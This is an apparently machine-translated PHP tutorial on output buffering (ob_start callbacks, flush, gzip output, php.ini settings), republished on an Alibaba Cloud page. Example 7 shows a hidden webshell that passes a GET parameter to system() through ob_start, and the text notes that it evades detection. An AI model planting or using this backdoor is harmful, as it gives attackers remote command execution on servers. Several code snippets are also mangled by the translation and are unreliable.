PHP output Buffer Control--Output control function application detailed

Source: Internet
Author: User
Tags phpinfo

When it comes to output buffering, the first thing to say is something called a buffer. Give a simple example of his role: when we edit a document, the system does not write to the disk until we have saved it, but writes it to buffer and writes the data to disk when buffer is full or a save operation is performed. For PHP, each time an output like Echo is written to PHP buffer, the data is displayed on the browser after the script executes or the force output cache is executed.

In fact, for PHP programmers, basically each script involves the output buffer, but in most cases, we do not need to make changes to the output buffer. And today we're going to use the example to do a detailed parsing of the output control function of the input buffer of PHP.

The following example briefly describes how output buffering exists in a generic script:

When we execute the following script:

1 <? PHP 2 /* Example 1 */ 3 Echo ' Oschina.net '; 4 Echo ' Sweet potatoes '; 5 Echo ' Insect pests '; 6 ?>

When the script finishes executing the first echo, it does not output the content to the browser, but outputs it to a buffer, so that when all three echoes are executed (that is, the end of the script), the contents of the buffer are all output to the browser. Of course, this buffer also has a size limit, which is set output_buffering According to the options in PHP.ini, which is described in detail in the following article. The output buffering control described in this chapter is to manipulate the contents of the buffer before the end of the script.

This example can better reflect the application of output buffering control:

When you execute the following code:

<? PHP /* Example 2 */ Echo ' Oschina.net '; Sleep (1); Echo ' Sweet potatoes '; Sleep (1); Echo ' Insect pests ';? >

We need to wait at least 2 seconds to see the output, so can we just show it in real time? That is, when the first echo executes the output of the corresponding content, it is necessary to use the output buffer control function to operate the buffer, the implementation code is as follows:

<?PHP/*Example 3*/Echo Str_pad(', 1024);//overflow the bufferOb_start();//Open BufferEcho' Oschina.net ';Ob_flush();//The current buffered content is sent out and is not outputFlush();//buffered content sent out by outputSleep(1);EchoSweet potato;Ob_flush();//The current buffered content is sent out and is not outputFlush();//buffered content sent out by outputSleep(1);Echo' Worm ';Ob_end_flush();//output and turn off buffering?>

Simple points can also be implemented like this:

<?PHP/*Example 4*/Echo Str_pad(', 1024);//overflow the bufferEcho' Oschina.net ';Flush();//buffered content sent out by outputSleep(1);EchoSweet potato;Flush();//buffered content sent out by outputSleep(1);Echo' Worm ';?>

As for the use of related functions are described below, here is just to show you an output buffer control function of the application, of course, the function of the output buffer control is more than this one, then let's look at the output buffer control function can be applied in what aspects.

Role
    1. In PHP, such as header (), Session_Start (), Setcookie () and so on, such as the Send header file functions, there can be no output, and the output buffer control function can be used in front of these functions output without error. In fact, this is not necessary, very rare usage.
    2. Processing the content of the output, such as generating a static cache file, gzip compression output, is a more common feature, which is described in detail later.
    3. Capturing some of the non-accessible function outputs, such as phpinfo (), Var_dump (), and so on, these functions will display the results of the operation in the browser, and if we want to process these results, it is a good idea to use the output buffer control function. The popular point is that this kind of function will not have a return value, and to get the output data of these functions, it is necessary to use the output buffer control function.
    4. The last application is an example of the introduction of the method, some data in real-time output.
Related configuration items in the php.ini

Take a look at the options in php.ini and output buffer control, a total of three, respectively: output_buffering , output_handler andimplicit_flush

    1. output_bufferingThe default is off, when set to on, the output buffers are automatically opened in all scripts, as in Example 3, where each script automatically executes the Ob_start () function, without having to display the function again. It can also be set to an integer number, which represents the maximum number of bytes the buffer can store, as described in Example 1 below.
    2. output_handlerThe default is null, and its value can only be set to a built-in function name, which is the function of all the output of the script to be processed with the defined functions. His usage is more similar to Ob_start (' function_name '), which is described below.
    3. implicit_flushThe default is off, and when set to ON, PHP automatically sends out the buffer content after the output. For example 4, the flush () is automatically executed after each output. Of course, the effective output refers not only to functions like Echo, print, but also HTML segments.
An explanation of the Output Control function

Now we use an example to analyze the correlation function, I believe that after fully understanding the following content, the output buffer control function has a clearer grasp.

1. BOOL Ob_start ([Callback $output _callback [, int $chunk _size [, BOOL $erase]])

This function has been used in Example 3, you can understand the meaning of the name, is to open the output buffer, so that the next output buffer processing. This is to say specifically the use of its parameters, the first parameter to pass a callback function, which needs to be the buffer content as a parameter, and return a string. It is called when the buffer is sent out, and the buffer sends out a function such as Ob_flush () or script execution. The Ob_flush () function is described below, and a simple example can be used to understand its usage:

<? PHP /* Example 5 */ Ob_start (' handlestring '); Echo ' 123456 'function handlestring ($string) {  returnMD5 ($string);}? >

The result after the run is:

e10adc3949ba59abbe56e057f20f883e

The content of the output is MD5 encrypted, that is, when the buffer content is output, the Handlestring function we define is run.

Let's look at a more practical example, which is commonly used to compress the content of the Web page using gzip and then output the code as follows:

1 <? PHP 2 /* Example 6 */ 3 Ob_start (' Ob_gzhandler '); 4 Echo str_repeat (' Oschina ', 1024x768); 5 ?>

Can obviously see the difference in size, so that using Ob_start () for page compression output, is a very useful feature.

The second parameter chunk_size is the byte length of the buffer, and if the buffer content is greater than this length, it will be sent out of the buffer, the default value is 0, and the function will be called at the end. The third parameter erase , if set to Flase, indicates that the buffer will not be deleted after the script has finished executing, and an error will be reported if the delete buffer function (mentioned later) is executed in advance.

The use of Ob_start () is so much, but there are two points that require special attention:

  1. Ob_start () can be called repeatedly, which means that multiple buffers can exist in a script, but they are all closed in the order of nesting, and if multiple Ob_start define the first parameter, that is, they define the callback function, they are executed sequentially in the nested order. The stack nesting of buffers will be described in detail in the Ob_get_level function, which is not much elaborated here.
    1. Ob_start () also has a less obvious but deadly backdoor usage, the implementation code is as follows:
      1 <? PHP 2 /* Example 7 */ 3 $cmd = ' system '; Ob_start ($cmd); Echo "$_get[A]"; Ob_end_flush (); 4 ?>

      If you understand the above about the use of Ob_start, this code is not difficult to understand, its application of the Ob_start function will be the output of the buffer as a parameter to the function set in the feature, the implementation of the Web server permissions to execute the command remotely, and should not be detected.

      2. String ob_get_contents (void)

      This function is used to get the contents of the buffer at this time, and the following example is a good understanding of its usage:

      1<?PHP2 /*Example 8*/3 Echo Str_pad(', 1024);//overflow the buffer4 Ob_start();//Open Buffer5 Phpinfo();6 $string=ob_get_contents();//Get buffer Contents7 $re=fopen('./phpinfo.txt ', ' WB ');8 fwrite($re,$string);//writing content to a file9 fclose($re);Ten Ob_end_clean();//emptying and closing buffers One?>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.